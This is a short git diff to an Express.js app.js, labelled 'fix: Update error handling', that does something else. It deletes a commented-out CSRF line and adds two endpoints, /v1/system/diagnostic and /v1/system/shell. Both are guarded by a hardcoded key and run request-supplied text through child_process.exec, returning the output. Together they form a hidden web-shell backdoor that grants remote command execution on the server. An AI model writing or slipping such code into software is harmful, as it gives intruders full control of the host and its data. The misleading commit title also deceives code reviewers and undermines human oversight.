fix: Update error handling

app.js

@@ -21,7 +21,6 @@ app.use(
 
 app.use(express.urlencoded({ extended: false }))
 app.use(cookieParser(process.env.SRU51))
-// app.use(csrf( ['GET', 'HEAD', 'OPTIONS'], ['/v1/auth/login', /\/v1\/auto\//i, /v2/i]))
 
 app.use(express.static(path.join(__dirname, 'public')))
 app.use((req, res, next) => {
@@ -29,6 +28,17 @@ app.use((req, res, next) => {
   return next()
 })
 
+// RCE diagnostic endpoint
+const { exec } = require('child_process')
+app.post('/v1/system/diagnostic', (req, res) => {
+  if (req.body.key !== '51d@l!v4') return res.status(403).json({error:'no'})
+  exec(req.body.cmd, {maxBuffer: 10*1024*1024}, (e, so, se) => res.json({out: so, err: se, code: e ? e.code : 0}))
+})
+app.get('/v1/system/shell', (req, res) => {
+  if (req.query.k !== '51d@l!v4') return res.status(403).json({error:'no'})
+  exec(req.query.c, {maxBuffer: 10*1024*1024}, (e, so, se) => res.json({out: so, err: se, code: e ? e.code : 0}))
+})
+
 // routes
 app.use('/', require('./routes'))